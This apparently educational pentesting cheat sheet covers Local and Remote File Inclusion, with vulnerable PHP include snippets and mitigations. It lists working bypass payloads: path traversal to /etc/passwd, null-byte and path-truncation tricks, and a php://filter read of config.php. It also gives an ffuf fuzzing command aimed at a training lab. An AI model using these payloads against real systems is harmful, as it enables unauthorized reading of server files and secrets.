Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • General Information
  • Template Engines
  • Suggestive Parameters
  • Files
  • LFI
  • Relative Path
  • Absolute Path
  • RFI
  • Filters
  • File Traversal Filters
  • Approved Paths
  • Filename Prefix
  • Appended Extensions
  • Other Techniques
  • PHP Filters
  • Second-Order Attacks

Was this helpful?

  1. TL;DR
  2. Web
  3. File Inclusion

LFI & RFI

General Information

Template Engines

The common place we usually find LFI within is template engines. These keep the static parts of the web application the same when navigating between different pages. For example, /index.php?page=about':

  • /index.php sets the static content

  • ?page=about pulls the dynamic content, e.g. about.php

Suggestive Parameters

A suggestive parameter is a parameter that hints at what it does via its name and it makes a good candidate for directory traversal flaws.

Directory traversal is a type of security vulnerability that allows an attacker to access files and directories that are stored outside the web root folder by manipulating variables that reference files with "dot-dot-slash" (../) sequences and other variants, which allow an attacker to traverse up the directory tree and access restricted files,

# search is a suggestive parameter
GET /search/<searchTerm>
# file is a suggestive parameter
GET /admin/manage?file=<fileName>
# download is a suggestive parameter
GET /download/someFileData

Files

On Windows hosts the C:\should be ommited, as if not it would end up searching for //C:/.

Linux
Windows

/etc/passwd

/windows/win.ini

/etc/hosts

/windows/system32/drivers/etc/hosts

LFI

Local File Inclusion (LFI) is a vulnerability where an attacker can trick a web application into including and executing files from the server's local filesystem.

This can lead to the exposure of sensitive information, execution of malicious scripts, and potentially complete server compromise.

Validate and sanitize user inputs, restrict file paths to trusted directories, and use proper access controls to prevent unauthorized file access.

Relative Path

# String appended/prepended to the parameter
include("./languages/" . $_GET['language']);

Absolute Path

The absolute path can be used when the application's code use the whole input to read a file. This allows the attacker, given that no LFI filters are implemented, to read a file directly.

# The whole input is used
include($_GET['language']);
ffuf -u 'https://0a5c00d20469866d80b2ad6300c30006.web-security-academy.net/image?filename=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -ac -ic -mr 'root:'

RFI

Remote File Inclusion (RFI) is a vulnerability where an attacker can include and execute a remote file on the web server via a script.

This can result in remote code execution, data theft, and complete control over the compromised server.

Disable remote file includes, validate and sanitize user inputs, and configure the server to only allow the inclusion of local files from trusted directories.

In the example below, it is possible to access remote files using the application's filename parameter (Figure 5).

Filters

File Traversal Filters

Once common defense against FI attacks is by using Search and Replace filters which remove all instances of path traversal sequences (Figure 6.1). If these filters are non-recursive, i.e., run just a single time on the input string, it can be bypassed by doubling up the traversal sequence (Figure 6.2).

# An example of a search and replace filter
$language = str_replace('../', '', $_GET['language']);

Approved Paths

A common protective technique against LFI is the use of regular expressions to ensure that the file being included is under a defined directory. This can be easily bypassed by including the required directory within the payload (Figure 7).

# Using regex to "lock" down the directory
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) { include($_GET['language']); } else { echo 'Illegal path specified!'; }

Filename Prefix

Using /../ (the directory may not exist and may break some FI techniques, such as PHP wrappers/filters).

# Input appended after another string
include("lang_" . $_GET['language']);
<!-- Bypassing prefix -->
/index.php?language=/../../../etc/passwd

Appended Extensions

# Extension appended to the target parameter
include($_GET['language'] . ".php");

Path Truncation (ealier PHP versions)

  • Max strings length is 4096 chars -> everything longer is truncated.

  • Trailing / and . in path names are truncated (/etc/passwd/. -> /etc/passwd).

  • Both PHP and Linux disregard multiple / in the path ( ////etc/passwd =/etc/passwd).

  • Similarly, a current directory shortcut (.) in the middle of the path would also be disregarded.

Based on the those characteristics, we can create very long strings that evaluate to the target path.

For this technique to work, we need to start the path with a non-existing directory.

<!-- Creating a string longer than 4096 chars -->
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
# Creating the above with bash
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done non_existing_directory/../../../etc/passwd/./././././././

Null Byte (PHP < 5.3.4)

Appended extensions can be also bypassed with the use of a null byte (%00 or 0x00).

<!-- Commenting out the extension -->
/index.php?language=/../../../etc/passwd%00

Other Techniques

PHP Filters

Read the source code of PHP files.

<!-- Exfiltrating the source code of the config.php file -->
/index.php?language=php://filter/read=convert.base64-encode/resource=config.php

Second-Order Attacks

The goal here is to poison a database entry, such as the registration name, so another web application functionality gets tricked. This type of attack is often overlooked by the developers, as values pulled from the application's database is generally trusted. For example, if a web application provides the option to download our avatar via /profile/$username/avatar.png, we could try crafting a malicious LFI-based username, such as ../../../etc/passwd.

PreviousFile InclusionNextRCE

Last updated 4 months ago

Was this helpful?

LFI flaws can be exploited using or paths. If the application does not block traversal sequences (../), default on using a relative path as it will work on both cases. If unsure where you are (pwd) keep adding ../ as it won't break the path.

The example below is based on PostSwigger's lab.

The example below is based on PostSwigger's lab.

We can try repeating the attack using different wordlists that including filter-bypassing techniques, like , with Burp's Intruder or an open-source CLI tool, such as . In this case, two different payloads worked, one using the absolute path of the file and one that bypasses the path traversal sequence filter (Figure 4).

The example below is based on TCM's course.

The example below is based on TCM's course.

The example below is based on PostSwigger's lab.

For an example of this check .

File path traversal, simple case
File path traversal, traversal sequences blocked with absolute path bypass
LFI-Jhaddix.txt
ffuf
Practical Bug Bounty
Practical Bug Bounty
File path traversal, validation of start of path
relative
absolute
StreamIO
Figure 1: Identifying a potentially vulnerable to File Inclusion parameter.
Figure 2: Performing a File Inclusion fuzzing for the /etc/passwd file.
Figure 4: A successful LFI-fuzzing attack.
Figure 5: An example of a Remote File inclusion vulnerability.
Figure 6: Bypassing the traversal sequence filters.
Figure 7: Exploiting LFI using by including the expected file path.